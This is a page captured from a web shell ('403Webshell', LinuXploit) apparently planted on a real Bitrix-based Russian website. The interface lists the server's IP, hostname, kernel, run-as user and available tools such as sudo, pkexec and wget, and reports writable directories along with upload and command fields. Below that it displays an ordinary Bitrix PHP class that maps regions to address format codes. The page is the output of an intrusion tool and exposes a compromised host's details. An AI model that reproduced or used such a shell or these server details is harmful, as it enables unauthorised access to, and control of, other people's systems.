403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/location/lib/infrastructure/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/location/lib/infrastructure/formatcode.php
<?php

namespace Bitrix\Location\Infrastructure;

use Bitrix\Main\Config\Option;
use Bitrix\Main\Event;
use Bitrix\Main\Application;

/**
 * Class CurrentFormatCode
 * @package Bitrix\Location\Entity\Format
 * Responsible for the setting and obtaining the format code.
 */
class FormatCode
{
	protected static $optionName = 'address_format_code';
	protected static $onChangedEventName = 'onCurrentFormatCodeChanged';

	public static function getCurrent(string $regionId = null, string $siteId = ''): string
	{
		return Option::get(
			'location',
			static::$optionName,
			static::getDefault($regionId),
			$siteId
		);
	}

	public static function setCurrent(string $formatCode, string $siteId = ''): void
	{
		Option::set(
			'location',
			static::$optionName,
			$formatCode,
			$siteId
		);

		$event = new Event('location', static::$onChangedEventName, ['formatCode' => $formatCode]);
		$event->send();
	}

	/**
	 * @param string|null $regionId
	 * @return string
	 */
	public static function getDefault(string $regionId = null): string
	{
		$regionId = $regionId ?? static::getRegion();

		$map = [
			'kz' => 'RU_2',
			'en' => 'US',
			'eu' => 'EU',
			'de' => 'EU',
			'la' => 'EU',
			'br' => 'BR',
			'fr' => 'EU',
			'it' => 'EU',
			'pl' => 'EU',
			'uk' => 'UK',
		];

		return $map[$regionId] ?? 'RU';
	}

	/**
	 * @return string
	 */
	private static function getRegion(): string
	{
		$region = Application::getInstance()->getLicense()->getRegion();

		return $region ?? LANGUAGE_ID;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit